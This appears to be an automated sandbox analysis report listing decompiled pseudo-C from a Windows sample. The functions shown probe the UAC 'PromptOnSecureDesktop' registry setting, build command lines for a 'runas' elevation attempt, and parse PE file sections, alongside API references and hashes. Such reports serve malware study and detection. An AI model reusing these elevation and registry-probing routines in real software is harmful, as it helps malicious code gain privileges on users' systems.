0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,751443E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,751443E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,751443E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,751443E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,751443E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B
", xrefs: 00407599

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,751443E0,?,751443E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(751443E0,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,751443E0,00000000), ref: 0040719E
RegCloseKey.KERNELBASE(751443E0,?,751443E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(751443E0), ref: 00407208
RegCloseKey.ADVAPI32(751443E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(751443E0), ref: 004072D0
RegCloseKey.ADVAPI32(751443E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(751443E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

", xrefs: 00407227
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
, xrefs: 00407194

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8,  &E00410918, 0xbd, 0xe4, 0xc8));
					_t172 = _t170 + 0x40;
				} else {
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x6c)));
					_t92 = wsprintfA(_t168 - 0x95c, E00402544(0x4122f8, 0x4109d8, 0x4d, 0xe4, 0xc8));
					_t172 = _t170 + 0x38;
				}
				 *(_t168 + 0x78) = _t92;
				E0040EE2A(_t146, 0x4122f8, 0, 0x100);
				_t173 = _t172 + 0xc;
				if( *(_t168 + 0x58) >= 0x60 &&  *((intOrPtr*)(_t168 + 0x7c)) != 0) {
					E0040EF00(_t168 - 0x15c, E00406CC9(_t146));
					E0040EF1E(_t168 - 0x15c, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8));
					_push(_t168 - 0x15c);
					wsprintfA(_t168 +  *(_t168 + 0x78) - 0x95c, E00402544(0x4122f8,  &E00410888, 0x82, 0xe4, 0xc8));
					E0040EE2A(_t146, 0x4122f8, 0, 0x100);
					_t173 = _t173 + 0x50;
				}
				 *(_t168 + 0x78) =  *(_t168 + 0x78) & 0x00000000;
				 *(_t168 + 0x5c) = E00406EDD();
				if( *(_t168 + 0x58) < 0x60) {
					_t165 =  *(_t168 + 0x78);
					_t161 = 0;
					__eflags = 0;
					L33:
					__eflags =  *(_t168 + 0x5c) - _t161;
					if( *(_t168 + 0x5c) == _t161) {
						L38:
						_push(_t168 - 0x95c);
						_push(_t161); // executed
						L39:
						_t96 = E004091EB(); // executed
						__eflags =  *0x412180 - _t161; // 0x0
						if(__eflags != 0) {
							 *0x412180 =  *0x412180 | _t165;
							__eflags =  *0x412180;
						}
						__eflags = _t96 - 0x2a;
						_t81 = _t96 == 0x2a;
						__eflags = _t81;
						_t97 = 0 | _t81;
						L42:
						return _t97;
					}
					_t100 = E00401820(_t168 + 0x54, _t168 + 0x78);
					__eflags = _t100;
					if(_t100 != 0) {
						_push(_t168 - 0x95c);
						_push("runas");
						goto L39;
					}
					_t103 =  *(_t168 + 0x78) | 0x61080000;
					__eflags = _t103;
					 *0x412180 = _t103;
					 *0x41217c =  *(_t168 + 0x54);
					if(_t103 != 0) {
						 *0x412180 = _t103 | _t165;
					}
					L31:
					_t97 = 0;
					goto L42;
				}
				 *(_t168 + 0x4c) = 4;
				 *(_t168 + 0x44) = 5;
				 *(_t168 + 0x48) = 1;
				_t106 = E00402544(0x4122f8,  &E0041084C, 0x3a, 0xe4, 0xc8);
				_t175 = _t173 + 0x14;
				_t107 = RegOpenKeyExA(0x80000002, _t106, 0, 0x101, _t168 + 0x50); // executed
				if(_t107 == 0) {
					_t111 = E00402544(0x4122f8, 0x410830, 0x1b, 0xe4, 0xc8);
					_t176 = _t175 + 0x14;
					_t112 = RegQueryValueExA( *(_t168 + 0x50), _t111, 0, _t168 + 0x54, _t168 + 0x44, _t168 + 0x4c); // executed
					__eflags = _t112;
					if(_t112 == 0) {
						_t116 = E00402544(0x4122f8, 0x410818, 0x16, 0xe4, 0xc8);
						_t176 = _t176 + 0x14;
						_t117 = RegQueryValueExA( *(_t168 + 0x50), _t116, 0, _t168 + 0x54, _t168 + 0x48, _t168 + 0x4c); // executed
						__eflags = _t117;
						if(_t117 != 0) {
							 *(_t168 + 0x78) = 0x3000;
						}
					} else {
						 *(_t168 + 0x78) = 0x2000;
					}
					RegCloseKey( *(_t168 + 0x50));
					_t165 =  *(_t168 + 0x78);
				} else {
					_t165 = 0x1000;
				}
				_t161 = 0;
				if( *(_t168 + 0x44) != 0 ||  *(_t168 + 0x48) != 0) {
					if( *(_t168 + 0x5c) <= _t161) {
						goto L38;
					}
					_t119 =  *(_t168 - 0x4c);
					if( *(_t168 + 0x58) < 0x61 || _t119 < 0x1db0) {
						 *0x41217c = _t119;
						_t167 = _t165 | 0x61080106;
						__eflags = _t167;
						goto L30;
					} else {
						if(E0040F0E4(_t168 - 0x95c, _t168 - 0x195c, 0x800) == 0) {
							 *0x41217c = _t161;
							_t167 = _t165 | 0x61080107;
							L30:
							 *0x412180 = _t167;
							goto L31;
						}
						_t97 = E004018E0(0xc8, _t168 - 0x195c, _t168 + 0x5c, _t168 + 0x78);
						if(_t97 == _t161) {
							_t155 =  *(_t168 + 0x78) | 0x61080000;
							 *0x412180 = _t155;
							 *0x41217c =  *(_t168 + 0x5c);
							if(_t155 != 0) {
								 *0x412180 = _t155 | _t165;
							}
						}
						goto L42;
					}
				} else {
					goto L33;
				}
			}

0x00409326
0x00409327
0x00409330
0x00409339
0x00409348
0x00409358
0x0040935c
0x0040935c
0x0040935c
0x0040934a
0x00409353
0x00409353
0x00409375
0x0040937d
0x0040937f
0x0040937f
0x0040938c
0x00409394
0x004093a2
0x004093d9
0x004093dc
0x004093dd
0x004093e0
0x004093e3
0x004093e6
0x004093e9
0x004093ec
0x0040940c
0x00409412
0x004093a4
0x004093a4
0x004093a5
0x004093a8
0x004093ab
0x004093ae
0x004093b1
0x004093ce
0x004093d4
0x004093d4
0x0040941d
0x00409420
0x00409425
0x0040942c
0x00409441
0x0040945d
0x0040946b
0x0040948d
0x0040949b
0x004094a0
0x004094a0
0x004094a3
0x004094b0
0x004094b3
0x0040962f
0x00409632
0x00409632
0x00409634
0x00409634
0x00409637
0x0040967b
0x00409681
0x00409682
0x00409683
0x00409683
0x0040968a
0x00409690
0x00409692
0x00409692
0x00409692
0x0040969a
0x0040969d
0x0040969d
0x004096a0
0x004096a2
0x004096a9
0x004096a9
0x00409641
0x00409648
0x0040964a
0x00409673
0x00409674
0x00000000
0x00409674
0x00409652
0x00409652
0x00409657
0x0040965c
0x00409662
0x00409666
0x00409666
0x0040962b
0x0040962b
0x00000000
0x0040962b
0x004094ce
0x004094d5
0x004094dc
0x004094e3
0x004094e8
0x004094f1
0x004094f9
0x0040951a
0x0040951f
0x00409526
0x0040952c
0x0040952e
0x00409551
0x00409556
0x0040955d
0x00409563
0x00409565
0x00409567
0x00409567
0x00409530
0x00409530
0x00409530
0x00409571
0x00409577
0x004094fb
0x004094fb
0x004094fb
0x0040957a
0x0040957f
0x0040958d
0x00000000
0x00000000
0x00409597
0x0040959a
0x0040961a
0x0040961f
0x0040961f
0x00000000
0x004095a3
0x004095c0
0x0040960c
0x00409612
0x00409625
0x00409625
0x00000000
0x00409625
0x004095d1
0x004095db
0x004095e7
0x004095ed
0x004095f3
0x004095f9
0x00409601
0x00409601
0x004095f9
0x00000000
0x004095db
0x00000000
0x00000000
0x00000000

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

runas, xrefs: 00409674
PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction ID: 7d6f16c0e63263610e399f3f049f45e0da260e43ae629b5557d7a5820381a87a
Opcode Fuzzy Hash: 4098d49489a1a58f2d44698bc399054650fb9812435130c3968b7db0ab9e05d5
Instruction Fuzzy Hash: 51A171B2540208BBEB21DFA1CC45FDF3BACAB44344F104437FA05E6192D7B999848FA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

